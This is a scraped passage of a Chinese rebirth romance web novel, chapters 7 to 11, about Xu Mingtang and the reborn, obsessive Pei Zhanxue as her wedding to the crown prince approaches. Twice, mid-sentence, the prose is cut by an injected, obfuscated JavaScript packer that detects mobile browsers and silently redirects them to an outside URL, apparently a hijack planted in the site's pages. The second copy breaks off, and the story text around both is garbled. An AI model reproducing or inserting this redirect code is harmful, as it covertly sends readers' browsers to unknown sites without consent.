水洲反手掀起纱帐,目光落在裴沾雪脸上。 少年呼吸急促,眉头紧锁,看起来是做噩梦了。 水洲没有说话,安静在铜盆中绞了帕子给他擦脸。 水洲原本是徐府里年纪最小的家奴,正值青年,肩宽体壮,专门负责府内的体力活,比如挑水劈材等杂活。他年纪比裴沾雪大约六七岁,具体生辰不详,身世和裴沾雪相仿,都是被人丢在寒风中的弃童。 许是水洲生性粗糙,动作不柔,下一秒,裴沾雪从噩梦中惊醒。 泪与汗杂糅一汽,从少年俊俏的眼睫处缓缓滴落,水洲猜不透他究竟做了什么梦,不过定是与大小姐有关的。 他看着裴沾雪气喘吁吁的模样,抿了下嘴,将帕子丢回铜盆水中,“让你失望了。这两日都是我在照顾你,不是徐明堂徐大小姐。” 裴沾雪早已睁眼,不过,在提到她的名字时,少年才真真正正回过神来。 四目相对,裴沾雪火急火燎下了床,于水洲错愕的目光中,裴沾雪连鞋也没穿,单薄的身子骨只披一层布料,便头也不回跑出了屋。 白衣白袍,那日,裴沾雪如疯子一般光脚跑遍了整个曲廊,最后,隔着锈红的房柱,他在长廊中,隔空看着里屋内的徐明堂。 她在笑,笑着同顾如霜学绣花。 粘稠的空气钻入口中,分明很是不舒服,可裴沾雪也不知道为什么,他也跟着大小姐笑了。 太好了, 她没死。 裴沾雪松了口气。 水洲怕新来的小厮又出什么幺蛾子,也跟了上来,看看徐明堂,又看看裴沾雪,眉宇间似乎觉察什么,水洲轻叹一声,“那日还是大小姐敲开奴才的门,叫我背你去厢房的。怎么?不上前问候一声?” 裴沾雪一僵,摇摇头。 不用了。 她应该,不想看到我。 之后的日子里,裴沾雪和水洲不约而同,均未透露今日的所见所闻。 暮春降至,日子渐渐恢复往日的平静,徐再琴教他读书写字,徐明堂教他射箭。 不过,他真是有够笨的。 徐明堂坐在后院朝南的石凳上,一手撑住脑袋,另一只拿着箭、垂落在大剌剌张开的双腿之间,她看着不远处空地上的裴沾雪,不自觉打了个呵欠。 从前的裴沾雪英姿飒爽,琴棋书画、马术射箭皆是样样精通。可反观汀花呢?愣是怎么教都教不会。 少年迟钝的从背后箭篓中取出一根箭,拉弓上弦,食指松开之时,箭尾上的白色羽翼零星散落,在晌午的日头下,漾出颗颗细碎的尘埃,很是好看。 徐明堂入了迷。 再抬头时—— 很好,又是脱靶。 她实在看不过去,侧身擦过少年,企图从背后环住他。 可她失败了,她忘了,现在的她比缩小版的裴沾雪还要小上一个尺码。 于是,她又站在少年身侧,两指并拢轻叩他的鱼际,“同你说过很多次,不是这样发力的。” 说完,柔软的小手毫无征兆便覆盖上他的手背。 徐明堂牵着他的手,倾情讲课。 可惜,裴沾雪一个字都没听进去。 他光顾着盯着她的小手发呆了。 就在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491797|202266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,徐再琴端着两盘精致的糕点,“阿姐,练了一天,你们该累了吧?再琴命厨房做了些豌豆黄,特意给阿姐和汀花果腹之用。” 徐再琴的出现实属措不及防,害羞的少年立刻将内心的悸动悉数敛于心房,唯独徐明堂心觉古怪。 她这妹妹何时对自己这样好过? 无时。 今日这般殷勤自然是因为心心念念的汀花。 女子害羞拉不下脸面,只好假借担忧家姐的噱头,暗中对心悦男子传情。 难道是那日将裴沾雪送入徐再琴房内送对了? 这般想着,徐明堂眉毛一挑,笑眯眯松开裴沾雪,转而来到徐再琴眼前,“阿妹辛苦了。” 语毕,她捻起一颗豌豆黄送入口中。 徐再琴没有立刻回答,她在偷瞄裴沾雪的反应,见他还木讷的站定在原地,不禁有些挫败,“不辛苦。” “呀!”眼神流转于二人之间,徐明堂突然有了主意,她一拍手,惊呼道,“阿妹你也不会射箭吧?” 不由分说,徐明堂拉住徐再琴的手,将她拉到裴沾雪旁边,叉腰,“正好。一个也是教,两个也是教。今日我便是你们两人的老师,如何?” * 射箭什么的,其实都是幌子,徐明堂只是想制造裴沾雪和徐再琴独处的机会,仅此而已。 好在,徐再琴非常给力,关于射箭,她没有任何问题要问徐明堂这个老师,而是左边一个“汀花”,右边一个“汀花”,非常粘人的跟在裴沾雪这个技艺不纯的初学者后边儿。 司马昭之心,路人皆知。 面对徐再琴的主动,裴沾雪出乎意料的冷淡。 徐明堂站在距二人不到半米的地方,静静观察了一会儿局势,而后偷偷摸摸伸出一只邪恶的小脚,妄图绊倒徐再琴,让裴沾雪来个英雄救美,也好正式自己的心意。 说来也怪,两姐妹在这个节骨眼儿上想到一块儿去了。 没等她那只邪恶的小脚碰到徐再琴,徐再琴抢先一步,自导自演,华丽丽来了个平地摔。 少女花容失色,青丝摇荡,身子后仰,袖摆和裙摆分别划出一道弧线,裴沾雪眼疾手快,一把拦住她的腰,眸光相对,少年谪仙般美丽的皮囊近在咫尺,徐再琴结结巴巴偏开视线,“谢、谢谢。” 潇洒的缩回脚,潇洒的无用功,潇洒的功成身退,徐明堂潇洒的转身离开。 哦不,不对,这还不算功成身退。 回到房间,徐明堂草草从案板上抓起两张宣纸,坐定,提笔胡诌。 没人知道她写了什么。 尾字落下,她将两张宣纸塞进两个信封,一封写着“汀花收”,一封写着“再琴收”,逍遥靠在椅背上,沾沾自喜, “情窦初开,夜半相约苦楝树下互诉衷肠,妙哉,妙哉。” 结果不尽人意。 距离约定时间一炷香过去,这女主角是到了,但迟迟不见男主角的身影。 苦楝树下,一粒粒粉色的花瓣从枝桠坠落,在漆深的夜色中悄无声息下了一场雨,怀春的少女站在树下,双手持信,放在胸口,期待着,紧张着,惴惴不安着。 她好像画壁中的花神,迫不及待想要与约定之人倾诉心中爱恋。 与之相反,彼时的徐明堂灰头土脸,趴在墙角后面。 月光皎洁,照亮她蹑手蹑脚的整个过程,见此情形,徐明堂气得牙痒痒,“难道是信没送出去?” “这个死裴沾雪!怎么还不来!” 她喃喃自语得正欢。 不料,此时,身后,诡异传来一道阴冷的、熟悉的声音。 “装作旁的女子给孤写信告白。” “夫人……玩够了吗?” 8. 第 8 章 第八章:重生回幼心下茫然(8) 夜如薄纱,轻笼整座沉睡的城,偶有虫鸣,镀浅浅月色,划破静谧。 裴沾雪正是三两鸣虫中的一只,悄无声息落在她身后。 “夫人当真觉得,孤爱上了那蠢钝女子?” 他的口气,傲慢,不屑,仿似视全天下为蝼蚁,深深厌恶一切。 那是汀花的声音,可是,语气却像极另外一位故人。 那夜,空气里掺杂着丝丝水汽,湿漉漉的,很凉。 可再凉也比不过那人的声音凉。 凉得徐明堂冒冷汗,全身汗毛颤栗,极其缓慢的转过头来。 少年长睫毛轻轻垂落,一双蛊惑人心的美人眼似笑非笑,骨上又不见一丝笑意。 他在看着她。犹如吐着信子的蛇蟒,绿意幽幽看着她。 她咽了口口水,本能感知到危险。 那眼神分明, 徐明堂心头一紧。 分明是裴沾雪的眼神。 见她眸中惊恐之意一闪而过,裴沾雪笑了,他饶有兴致看着她逐渐木讷的神色,道,“原本孤只是想同夫人玩个小小的游戏,瞧瞧孤在夫人心中的地位,没成想……夫人竟如此讨厌孤。” 尾句这几个字,他说得极慢,微勾的唇角和挑起的眉尾,叫他脸上横生出几分长大后的神韵。 徐明堂没说话,仰头,拧眉看他。 视线汇合又错开,裴沾雪下巴微抬,“夫人怎就不能像孤爱你一般爱孤呢?” 说着,他快步上前,伸手捏住女子的下颌,被徐明堂一把打掉。她太害怕了,以至于身体先一步做出应激反应,近乎尖叫着,“不管你是谁,请你不要忘了,现在我们在徐府,我是徐大小姐,而你,” “只是一条无家可归的、被捡回来的狗而已!” “狗!”徐明堂重复。 她这一个“狗”字实在大声,不远处的徐再琴恍然间听到什么,冲着黑压压一片的墙角,怯生生出声,“是、是汀花吗?” 徐明堂还没来得及作何反应,下一秒,就被裴沾雪翻过身去强行捂住嘴巴。 少年指节微凉,残存着鲜花的气味,她被他从后面禁锢在怀中,难免下意识挣扎,张口死咬住他的手指,裴沾雪全然不知“怜香惜玉”四个字要如何去写。 他不由着她,反而贴近她耳边,笑眯眯的威胁,“再吵,” “就把你的舌头割掉。” 温热的呼吸打在她耳窝,一字一顿,骇人听闻得很。 徐明堂果真不动了。 因为她知道,他真的做得出来。 所以,她乖乖顺从裴沾雪,任由他将她拉回府内,直到房门前,才反身推开他,“这是徐府,你若杀了我,你也逃不掉。” 亭亭玉立的少女站在门前,台阶上,居高临下蔑视他的一举一动。 裴沾雪不予理会,他垂眼看着掌心咬痕,勾唇,“夫人真是一如既往的爱咬人。” “不过,”他抬起头,无辜的看着徐明堂,“孤为何要杀夫人?” 徐明堂头皮发麻。 “孤分明只是想同夫人,永远在一起啊。”裴沾雪粲然一笑。 徐明堂身子一僵,破口大骂,“疯子。” “不可理喻的疯子!” 颤抖的食指且刚要推门,下一秒,裴沾雪从身后摁住她,侧身靠在门边,玩味道,“夫人这就要走?许久不见,就不想念孤,不想同孤续续旧吗?” 说着,他的脸越靠越近,呼吸洒在她耳侧,痒的直叫人转过脸去。 她是不打算理会他的,可,“谁在那儿?”水洲出现了,她不想叫下人瞧见这一幕,有嘴也说不清,于是一时情急将裴沾雪推进屋内,关上门的一瞬间,附身贴耳于屋外,直到水洲离开才警报解除。 “出去。”她连一记正眼都没给裴沾雪。 对面不理会。 她不得不扭头看他,“我让你出去。” “可是我不想出去。”届时,裴沾雪不知何时已经倚在床榻上,一手撑床,另一只勾起她留在床上的抹胸,挑眉,“夫人这是害羞了?前些日子还同孤同床共枕,怎的今日娇娇羞羞的。” 她方才想起自己今日没来得及收拾屋子,赶忙上前夺过,将抹胸藏在身后。 手上一空,裴沾雪笑着凑近,得寸进尺,“夫人,你说,倘若我们用这副身躯做些苟且之事,是不是别有一番韵味呢?” 她又羞又恼,反手给了他一巴掌,“裴沾雪!” “我到底做了什么大逆不道的坏事!才叫你这样一个男鬼一直阴魂不散的缠着我!” 她这一巴掌下去,少年白皙的脸庞顿生出红色,她太生气了,生气到甚至没注意裴沾雪顿了两秒,才继续说,“夫人为何如此讨厌我?” 他侧着脸,保持着被徐明堂扇巴掌的姿势,没有转过来。 “我为何如此讨厌你?”徐明堂仿似听了个天大的笑话,“裴沾雪,你还记得当时是你一剑抹了我的脖子,杀了我吧?我不讨厌你,难道要对你这个杀人偿命的大恶魔感恩戴德吗?” 她的语速很快,带着质问和不满的尖锐,完全盖住了裴沾雪的呢喃,“那你当时就不该来招惹我的。” 眸中落寞一闪而过,这句话他说的声音很小,以至于徐明堂压根儿没听见。注意到他的时候,他已经换了话题,转变为一副无所谓的样子,转过脸来,笑的一如既往,“就算是男鬼,也是只追随夫人的男鬼。夫人怕是今生来世,永远都逃不出孤的手掌心了。” 屋内就此静了下来,两道视线交错,徐明堂看到他眼中的自己,声音发抖,带着哭腔,“裴沾雪算我求求你。我求你不要再跟着我。我求你离我远一点,我求你离徐府远一点。好不好?算我求你的,哪怕只有今生而已,求你……与我不复相见。” 四目相对,裴沾雪没有任何迟疑,一字一顿,“不要。孤连一世也舍不得同夫人分开。”说完,他躺在她床上,无辜又乖巧的盖上被子,“夫人要同孤一起睡吗?” * 那一夜,徐明堂睡得极不安稳。 她一小只蜷缩在地上,不由自主,脑子里开始胡思乱想。 裴沾雪和我一起重生回了年少。这是既定的事实。 她闭眼拧眉,颇有几分烦躁的翻了个身。 可, 他明明有那么多机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可惜,次日,那人早已不见。 她在厨房发现裴沾雪。 凑近些才发现,那只是穿着裴沾雪衣服的水洲。 “裴……汀花呢?水洲,你为何穿着汀花的衣服?”她佯装漫不经心。 水洲似乎没听见徐明堂的话,安分的行礼,“大小姐。” “这是汀花走前给您做的羹汤。以报您收留之恩。”水洲从桌上拿来一碗莲子羹。 “走了?走去哪?”徐明堂一愣。 “汀花今日已启程去道观。”水洲回答,“不会再回来了。” 徐明堂缄默一瞬,将衣袖中藏起的毒藏得更深几分。 走了? 看来,用不着毒了。 随后小小声吩咐水洲,“这莲子羹你放下吧。等凉些我便喝。” “是。” 她撒谎了,待到水洲离开,徐明堂端起碗,直直将莲子羹倒进垃圾桶中。 裴沾雪,你那样言行不一的人,我怎会信你没下毒毒我。 她自然没想过,这一幕被远处的裴沾雪尽收眼底。 夫人啊夫人,孤在你心中究竟有多不堪。 9. 第 9 章 第九章:重生回幼心下茫然(9) 南玉四年,他走的时候,院子里的花还落着。 她说,她不想看到他。他便听话地走了,还真是应了他当时的名字“汀花”。后来她想,他大约是没有走的。他那样纠缠不休的人如何能轻而易举地放过她?他这个人,向来是学不会放手的。 他走后的第一年,她每日早起,狐疑这院子里还藏着那人踪迹,即使丫鬟拆来书信也断是不信。 第二年,她把他的旧袍子全扔了,即使顾氏亲眼所见他潜心于道观,她也直觉是障眼法。 第三年,边疆大乱,徐父于一线奋勇杀敌,将她托付给裴晔。朝夕相处间,她相信他能待她好,却始终忧心忡忡,放不下另外一人。 第四年,城中谣言太子婚约别有用心,她充耳不闻,一心嫁人,因为这样就不用和裴沾雪有关系了。 第五年,她生了一场大病。烧了三天三夜,醒来的时候,裴晔哭得眼睛通红,说她一直在嚷嚷着“从欢”二字,可“从欢”是什么?她靠在床头想了很久,好像什么都不记得了。 第六年,徐府门外的花又开了,记忆中那人的面容也终于模糊不清了。 裴沾雪被送去道观的这几年来,徐明堂一直重复两个梦境,一个是腥臭无比的白骨山,另外一个是惨痛凄美的爱情诗。 可惜每一次,男女主角的脸,她都看不真切。 春日繁华未尽,转眼秋叶飘零,金黄与火红的迭代交替下,婚约上的日期已然将近。 徐明堂端坐在铜镜前,指尖轻抚过平整的婚书,思绪已飘向远方。 她想,裴沾雪不会来捣乱了, 她想,裴沾雪不会再回来了。 第七年,她不知道,被她恨到朝思暮想的但又几乎快要淡忘的那人,此时已经歇脚在城门下了。 “这位客官,您是从外地来的吧?”随意走进一家茶馆落座,店小二熟门熟路给客人沏茶,边沏茶边感叹,“您来的可真是好时候啊,这段时间整个长安城的酒水饭钱,都由太子殿下包了!” “哦?竟有此等好事。”贴着桌面,裴沾雪转了转茶杯底,笑眯眯的。 “哟,您还不知道呐?”八卦的店小二瞬间来了兴致,拉开椅子在他身边坐下,“这不到半月后啊,就是当今太子殿下大婚之日,太子爷大方啊!嘿!您猜怎么着,把长安城所有消费都包了!” “是吗。”裴沾雪淡淡道。 裴沾雪这副似仙似鬼不似人的皮囊和少见的惜字如金很快引起店小二的主意,店小二摸摸下巴上的青色胡茬,上下打量起裴沾雪。 来人身着一袭素衣白袍,青丝坠地,发顶盖一盏斗笠,腰间别一把青白长剑,全身上下通体洁白,除了表情。 店小二凑近些,“您是道士?” 略带狐疑的口吻,当真是怪不得店小二的,裴沾雪这脸至阴至柔,不说道士,索命的剑士怕是更为合适。 裴沾雪点头微笑,“正是。” “欸!”店小二一条腿翘在凳上,扯下肩头挂着的毛巾,在凳上打了两下,“这好端端的,怎么有道士来我们长安城来了?难道,城内有妖?” 说罢,那店小二即刻做出警惕的表情。 裴沾雪睨他一眼,“是。” “啊!”店小二惊叫一声站起来,手中毛巾掉在地上,顿时引来一众宾客注目,意识到自己失态,讪讪一笑,捡回毛巾,尴尬的坐回去,小小声问,“欸,大师,那这妖在何处啊?不会是在我店里吧?” “不然。”裴沾雪看向不远处,笑,“那妖,现在正在未过门的太子妃府。” * “明堂小姐是否常做怪梦?” 徐明堂怎么也想不到,和裴沾雪的重逢之日,会是这样一副光景。 少年着一袭白衣,剑尖轻颤,划破晨雾,遂于院中游走,剑光如惊鸿掠影,将打着旋儿飘起的梧桐悉数碎成细屑,洋洋洒洒满青石板,惊得麻雀扑棱飞。 小简说,这是老爷今朝请来的道士,亦是,几年前被撵走的汀花。 收剑归鞘,庭院重归寂静,少年反手背剑,顶着那副谪仙般的皮囊,微笑问她问题。 徐明堂呆愣在原地,怔怔看着笑靥如花的少年缓步靠近,无动于衷。 上一世,大婚前,裴沾雪已率众兵攻城劫持她了。 见她不语,裴沾雪继续说,“明堂小姐还没回答我的问题。” “是否常年被梦魇所困?” 确有其事。 徐明堂眉头轻蹙,不得不对上他的眼睛,微愠道出两个字,“不曾。” 稚气散尽,徐明堂出落得亭亭玉立,肌肤白皙透明如上等瓷器,隐约可见薄皮下透着的红,青丝如流水垂于腰际,她着一身最简单的青衣,整个人挺拔纤细,神情却像炸毛的猫,怪可爱。 裴沾雪忍俊不禁。 围成一圈的众人费解于二人互动,逐渐没了耐性,其中一人忍不住喊道,“长安城内祥和,徐府顺风顺水,那都是众人皆知的事实。如今你贸然跳出来说徐府有妖邪,叫我们如何相信你啊?” 出头鸟飞出林,其余的也跟着附和,“老李说得对,汀花,要我们信你,就得拿出点证据。总也不能你说什么我们就信什么吧?” “证据?”裴沾雪盯着徐明堂的脸,唇角还在笑,好几秒后,才恋恋不舍移开视线,冲众人眯眼,“证据,这就来。” 说罢,少年大步流星瞬移到老李眼前,居高临下,语速极快,“你印堂发黑,恐几日前患不治之症,收钱奉命于高位之人,换得妻女平安顺遂。” “你于约半年前邂逅窈窕淑女,不惜抛妻弃子,沉醉于温香软玉,奈何体力日渐枯槁,无力回天,窈窕淑女实则红颜祸水,阳气殆尽,愿施主早日准备葬礼。”一个接着一个,裴沾雪一一道出凡人心中禁密。 “你常年素斋拜佛,心思醇厚,吉人天相,跟错主子,乃一生唯一一错。”裴沾雪淡淡看了水洲一眼,长舒一口气,来到徐伯卿眼前,“最后,徐老爷您,” 裴沾雪语调极缓,四目相对,徐伯卿的思绪被拉回两年以前。 那一年,天下大乱,徐伯卿残血回府,铠甲被刺穿,盾牌被击碎,不过他还是赢了,脸上挂着笑意,“夫人。” 顾如霜上前为他脱去铠甲,徐伯卿顺从的张开双臂,将她抱在怀中,许久之后,顾如霜担心的问,“老爷为何受了如此重伤?” 徐伯卿摇摇头,沾着血迹的手指从口袋拿出一纸染血的婚书,接着抿抿唇,没说话。 见此信,顾如霜立刻明白什么,手抖着将信揉成一团,怒喝道,“我看他是急不可耐。”她抬头看着徐伯卿的眼睛,“您明知那太子已再无扶正的可能,为何不回绝圣上定下的婚书?” 徐伯卿叹了口气。遥想多年以前。裴晔,哦不,化十,还是军营中的小兵,他苦心培养,意图将那顽劣小子引上正道,谁知还是失败了,“好了,当今圣上的意思,你我二人没有反驳的余地,这件事就这么定了。” 顾如霜不肯消停,她撒气般把婚书扔向一处,“徐府手握 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好在裴沾雪没有留下的打算,明眸皓齿道,“明堂小姐不必担心,在下没有留宿的打算。早些时辰已定好一间客栈。” 一时间,徐明堂语塞,还想说些什么的时候,徐伯卿重重咳了声,“好了,” 徐伯卿看着裴沾雪,“那便劳烦阁下每日来我徐府降妖除魔了。” “如霜。”徐伯卿呼唤顾如霜的名字,“扶我回屋。” “是。”顾如霜扶着徐伯卿,对下人使眼色,“大伙儿都散了吧。” “小简。送客。” 破天荒,小简没听主子的安排,没去送客。因为送客这活,被徐明堂抢了去。 若是准确来说,倒也称不上是送客。 家奴作鸟兽散,徐明堂赶走小简,拉着裴沾雪藏身于后院隐蔽处。 高大粗壮的苦楝树下,日光透过零零散散的枝桠,晕出斑驳的光圈,携花瓣一起,在二人脸上覆上一层柔和。 垂眼看着她紧攥住他衣袖的手指和略微慌乱的神情,裴沾雪脑子里不合时宜飘出二字,“偷情。” 诚实如他,脑子里怎么想,便直接说了出来,引来是徐明堂的一记瞪眼,裴沾雪笑眯眯的,“难道不是吗?” “孤记得夫人如今另有新欢。”他徐徐伸手,欲要将少女脸边因紧张而垂下的几根发丝挽于耳后。 徐明堂偏头避开。 少年的手指顿在空中,久久不曾移开。“夫人既如此怨恨孤,又何必上赶着同孤独处?” “孤是否可以理解为,夫人对我,还有旧情?”他一字一顿,字字诛心。诛的是自己的心。 本该轻蔑的语气里满是哀求和痛苦。 徐明堂惊叫一声,否认,“放肆!” 她指着他的胸膛,一下一下,指腹用力的摁,“我不同你独处,完全是出于好奇。好奇你的心是怎么一步、一步烂掉的。” 她的手指,寸寸点在他心上,分明不是锋利的刀刃,不知怎的偏是叫裴沾雪的心隐隐作痛,他熬不住了,一把握住她的手腕,将她往怀中一带,反手握紧她的细腰,“久别重逢,夫人便要对孤针锋相对吗?” 距离被拉得很近很近,近到她能感受到他的呼吸,听见他的心跳,看见他眸光中的一点点藏匿于心的痛,“夫人何不考虑考虑孤的心情,” “心爱之人嫁作他人,夫人真是……好狠的心呐。” 10. 第 10 章 第十章:重生回幼心下茫然(10) “明堂。” 惊慌失措间,有人呼喊她的名字,徐明堂赶忙挣脱裴沾雪的怀抱,迅速整理好衣袍,从苦楝树下走出来。 来人是裴晔,他用一双浅眸上下打量对面二人,什么也没说,站在徐明堂身侧,手中折扇指着对面,问,“明堂,这位是?” 万幸,裴晔没认出裴沾雪来。 “回太子殿下的话,在下乃青城山道士,无姓名沾雪字蝉衣。受徐国公之命前来徐府除妖。”裴沾雪笑。 闻言,裴晔缄默一瞬,望着身侧的徐明堂,哈哈大笑道,“这徐国公也真是,封建迷信。哪来的什么妖啊!” “你说是吧?明堂。” “是。”徐明堂顺从的回答,而后装出一副很喜欢裴晔的模样,亲昵晚上他的肩膀,“阿晔。” “你来找我所为何事?” 这下,裴晔想起正事儿,旁若无人道,“我找了京城中手艺最好的铺子为你做嫁衣,需要你的尺寸。” 且刚问完这个问题,徐明堂就后悔了。 果然,裴晔前脚话音落下,裴沾雪后脚便笑了。 裴晔这番话无疑是将他们不熟的真相直白告诉裴沾雪。不过,徐明堂多虑了,就算裴晔不说,裴沾雪也知道,因为裴沾雪有水洲这个线人。 徐明堂强装镇定,脸上笑容僵硬,“阿晔你也真是的,我的尺寸你不都知道吗?”为保戏真,她故意惺惺作态出一副娇羞的姿态,反倒用力过猛,遭人怀疑。 不过,即使是装出来的虚情假意,也让裴沾雪很是不爽,因为他连装出来的温存也不曾拥有,于是他打断二人,“太子殿下和太子妃甚是合拍,在下就不打搅二位了,告辞。” 道骨仙风,少年快步离开。不知是否再多待一秒就会叫醋坛子打翻。 被甩在身后的女子顿了顿,视线落在他腰间。 徐明堂心里一紧。 果然,他还爱着她。否则便不会将那玉佩别在腰间。 那个她作为皇后时所赠,寓意二人永结同心的玉佩。 * 裴沾雪在城内的一家客栈歇脚。 客栈离徐府不远,统共一里路。 徐府忙着张灯结彩,筹备婚事,外人只有青城山来的道士一个,裴沾雪。他每日前来施法,将徐府里外贴满黄符。 喜帖的红与符咒的黄相切,倒也不算太违和。 对于裴沾雪的再次出现,众人都没投入太多感情,除了水洲。他清楚记得仙君离府那日的情形—— 道观前,裴沾雪叫住水洲,沉声,“护好大小姐。” 水洲有些疑惑,“仙君当真要去道观?” “这副身子太弱,去修炼修炼也好。”裴沾雪仰头,几秒后,重新看向水洲的眼睛,“还有,盯紧裴晔。” “可那人看起来挺面善的。”水洲说。 这一秒,无数回忆涌上心头。 蛊师身着黑色长袍,低声诉说晦涩咒语,他将从女人身体里抽出的新鲜血液缓缓滴入祭台,也滴入刻满古老符文的陶罐里,供蛊虫蚕食。 那是一间地下室,草药的苦涩与芬芳并存,杂糅出怪异的气息。 蛊师的每一步都在和某种未知的神秘力量进行交易,他用千辛万苦得来的至阴血液祭拜神灵,为的就是习得最高功法。 苗疆男子目光冰冷,睨着冰窖中昏迷的女子,嘴角笑意愈浓,淡淡吐出四个字,“神功将成。” 裴沾雪无法向水洲解释什么,薄唇轻启,踏入道观。 “照我说的做。” 回忆就此结束,如今,裴沾雪再次出现,水洲壮着胆子问出离别之日的谜语。 裴沾雪寂了寂,还是那五个字,“照我说的做。” 可水洲却沉默。 也不知这一世,仙君又要为那女子做出怎样惊世骇俗的蠢事来。 对于裴沾雪的再次出现,众人都没投入太多感情,唯独徐明堂愈发觉得晦气。 因为裴沾雪会时不时晃荡在她眼前,说些骇人听闻的风凉话。就比如几日后的元宵灯会,她早已同裴晔约好结伴而行。当真到了日子,她梳妆打扮一番,见到的第一人不是裴晔,而是在屋外等候已久的裴沾雪。 男人一袭素白长衫,双手环胸,倚于屋外,一柄长剑稳稳抱在臂间。长发高束,风掠过,几缕墨发随风轻扬。此刻正闭目凝神。 鬼迷心窍成了唯一的解释。见了他,徐明堂下意识屏住呼吸,提起裙摆,蹑手蹑脚欲要绕开裴沾雪。 不料下一秒,男人紧闭的双眼忽地睁开,漫不经心跟在她后面,“又能见到裴晔了,夫人就这么开心?” 她听不出他的语气到底是酸涩还是无奈。不过总归是不高兴的。 见已败露,徐明堂即刻放下裙摆转身,理直气壮道,“阿晔是我未婚夫,我见他自然心生欢喜。”她故意摆出一副少女怀春模样。 七年未见,男人的个子已比她高出大截,垂眸,淡淡看她的眼睛,沉默良久,嗤笑,“夫人真是有了新欢忘了旧爱。” “不好意思,我从来没爱过你。”徐明堂不耐烦的打断,“裴道士可还有事?没有的话,我得赴约了,阿晔不习惯等人。” “好啊,”裴沾雪歪头,“一起吧。” 说完,男人头也不回朝外走。 徐明堂愣了几秒,跟上他,“我和阿晔的事,你凑什么热闹?” 裴沾雪停下脚步,附身弯腰,凑近她,似笑非笑,“夫人重新见到孤的那一秒就应该猜到,自己永远逃不掉了。” 尾音落下,裴沾雪重新直起腰,依旧在笑,“我是徐老爷叫来保护小姐安危的,所以小姐的命令,恕难从命。” * 上元佳节,万人空巷。 五人神色各异站在街头,唯独徐再琴一人眉眼带笑。她久居深院闺阁,打小便对热闹的场所极为喜爱。 今日终于是逮到了机会。 而且,还是和自己心悦之人。 想到什么,徐再琴脸红一瞬,悄悄瞄了眼身侧的裴沾雪。他小时候便生的同女子般好看,如今长大更甚。 男人没什么表情,双臂抱胸,冷冰冰看着整座长安城池。几秒后,觉察到徐再琴的侧目,转身回眸。 她却避开视线。 男人目光在她 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俯身把玩小摊上花灯的徐明堂身子一僵,强装淡定向老板询价,“这盏花灯多少钱?” 没等小贩回答,裴沾雪给了她个台阶,“还是说,夫人故意支开旁人,难道不是有什么耳边话要同孤偷偷讲?” 他总能一眼看穿她的伎俩。 无论低级或高超。 不过倒也无碍,徐明堂知道,即使他看穿了她浅薄的把戏,也心甘情愿上套。因为自始至终,他裴沾雪都是这样的,无一次例外。 于是,徐明堂不再执着那虚无的弯弯绕绕,起身从内口袋中拿出香囊,高举在裴沾雪眼前。 那香囊简直和她的主人一样顽皮,从女子指尖垂落之时宛若一个小神仙,一蹦一跳,一脚一脚踩在他心头,怪痒的。 绀紫色的香囊,歪七扭八绣着极不精致的花纹,一点儿也不像是出自大家闺秀之手,不过裴沾雪看出来了,她绣的是一朵向日葵,下摆挂着玉珠流苏。 少年一瞬不瞬盯着她手中的香囊,十几秒又或是几十秒后,透过香囊,看向她的眼睛,“给我的?” 隐约之间,她似乎看见他的眼睛笑了。估计是看错了。 “你不要就算了。”徐明堂假意收手,马上被裴沾雪夺过去,男人转头离开,故意不让她看他的表情,声线低沉,“孤以为是给那混小子的。” 他口中的“混小子”,指的是裴晔。正元十五,今日正是她和裴晔第一次接吻的地方。 “放烟花喽!放烟花喽!”往来的小孩儿兴高采烈,一不留神撞倒她,打断她的思绪。 好在裴沾雪稳稳将她搂在怀中,“夫人小心。”徐明堂抬眸,看见他漠然的脸孔,后错开视线去看天上高高挂起的月,“嘭”一声,花花绿绿的烟花在无边黑暗的天际间炸开,绽放出浓烈色彩。 柔和的光圈洒在她脸上,不由自主,她笑了,可她看的那样入神,也就没注意到无数看烟花的看客之中,独独裴沾雪一人没看烟花,而是在看她了。 11. 第 11 章 第十一章:重生回幼心下茫然(11) “汀花,你在这儿呀!”烟花一现,徐再琴在人山人海中寻到裴沾雪的影子,躲开水洲跑了过来。 裴沾雪松开徐明堂,敛声抽去女子头上的青玉发簪。 这一动作无人觉察。 葱白小手掖住裴沾雪的衣袖,徐再琴说,“水洲他不懂灯会,你和我去那边逛逛好吗?” 裴沾雪悄然将香囊收入怀中,笑眼看徐再琴,“当然好。” 临走之前,不忘记嘱咐气喘吁吁赶来的水洲,“照顾好大小姐。” 二人走后,徐明堂这才想起,她的未婚夫此刻孤零零一个人。 确实,她的未婚夫正焦急的在这乌泱人群中寻找她的身影。 二人错过的时间里,徐再琴正拉着裴沾雪跑到徐明堂对面不远处的摊子上,乐此不疲,她拿了个灯笼,“汀花,你瞧这个可好看?” 裴沾雪望着另外一处商贩出神,“奴才以为,那盏灯才最配小姐。” 说完,他将徐明堂的发簪插/入徐再琴的青丝。 顺着汀花的视线看去,徐再琴瞧见一盏做工精致的兔子灯,很是可爱。 她听了汀花的话,走到兔子灯前,“这盏灯……” 可惜,话没说完,一只修长的手先她一步将银子放在摊主面前,“这个,我要了。” 见恭候已久的男主角出现,裴沾雪嘴角噙笑,不动声色离开。 半路杀出个程咬金,徐再琴心有不甘,转头看去,只见一个身着玄色衣袍的男子站在她身侧,那人也垂眼看过来,裴棋生得剑眉星目,气场强大,徐再琴也没怯场,定定地说,“这位公子,这盏灯是我先看中的。” 裴棋不予理会,接过花灯,笑着看她,“姑娘可是徐府大小姐?” “这灯送与小姐。” 他生得好看,俊美的像那台上戏子,话语却没那么动听。 又是找姐姐的。 徐再琴抿了抿嘴。 汀花是,他也是,怎么一个两个都这么喜欢找姐姐呢? 